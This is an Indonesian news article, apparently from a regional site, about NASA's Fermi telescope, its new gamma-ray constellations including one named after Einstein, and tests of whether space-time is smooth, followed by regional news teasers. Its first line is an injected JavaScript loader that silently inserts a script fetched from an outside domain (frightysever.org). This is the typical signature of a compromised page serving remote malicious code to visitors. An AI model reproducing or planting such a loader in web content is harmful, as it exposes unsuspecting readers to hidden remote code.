(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Menggunakan Fermi Gamma-Ray Space Telescope milik NASA, para ilmuwan menggagas sejumlah ‘rasi bintang’ baru. Menariknya, mereka punya metode sendiri dalam mengkategorikan kumpulan cahaya luar angkasa tersebut.
Konstelasi ini dibuat berdasarkan sumber paparan sinar gamma di langit, jadi ini bisa dibilang konstelasi sinar gamma. Hal tersebut dilakukan sebagai bentuk perayaan 10 tahun misi Fermi berlangsung.
Uniknya, fisikawan legendaris Albert Einstein terpilih menjadi nama untuk salah satu dari total 21 konstelasi sinar gamma baru yang dibuat. Alasannya berkaitan dengan kalkulasi terkenal yang diciptakannya
Rumus E=mc2 yang dibuatnya sangat berkaitan dengan energi dan unsur (berkaitan dengan fisika). Nah, Large Area Telescope (LAT) dari Fermi berlandaskan pada fakta tersebut dalam mendeteksi sinar gamma.
Dalam tahun perdananya, Fermi memberikan bukti eksperimental mengenai struktur ruang dan waktu, selaras dengan ruang-waktu pada teori Einstein. Sejumlah ilmuwan sempat memprediksi bahwa ruang-waktu tidak sepenuhnya mulus.
Hal tersebut berarti, cahaya tinggi energi akan membutuhkan waktu yang lama dalam melaju di ruang hampa. Kebalikannya pun berlaku untuk cahaya rendah energi.
Walau demikian, teori Einstein menyatakan seluruh gelombang electromagnetik, radio, infrared, cahaya tampak, sinar x-ray, serta sinar gamma, menembus ruang hampa dengan kecepatan sama. Hal tersebut menjadi penting dalam misi ini.
Fermi telah mengobservasi paparan sinar gamma dengan berbagai tingkatan energi dari ledakan yang disebut semburan sinar gamma (gamma-ray burst). Sekadar informasi, itu merupakan kejadian yang melibatkan gelombang elektromagnetik paling terang di jagat raya, namun terjadi di titik-titik yang terbilang jauh dari Bumi.
Jika prediksi mengenai ruang-waktu yang tidak sepenuhnya mulus benar, maka LAT akan mendeteksi jeda waktu yang signifikan antara kedatangan cahaya rendah energi dan cahaya bernergi tinggi. Faktanya, keduanya melintas pada kecepatan yang sama.(mon/dtc)
KANALKALIMANTAN.COM, BANJARBARU - Kapolri Jenderal Listyo Sigit Prabowo melakukan mutasi sejumlah pejabat perwira di lingkup… Read More
KANALKALIMANTAN.COM, AMUNTAI - Kapolres Hulu Sungai Utara (HSU) AKBP Meilki Bharata membeberkan capaian kinerja jajaran… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kondusifitas masyarakat di Ibu Kota Provinsi Kalimantan Selatan, di Banjarbaru tergambar dalam… Read More
KANALKALIMANTAN. COM, BATULICIN - Event Akbar Batulicin Festival (Batfest) 2024 mendapatkan kunjungan sejumlah pejabat negara… Read More
KANALKALIMANTAN.COM, SANGGATA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengaturan Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Siapa bilang menghabiskan waktu di rumah selama liburan akhir tahun tidak menyenangkan? Kamu… Read More
This website uses cookies.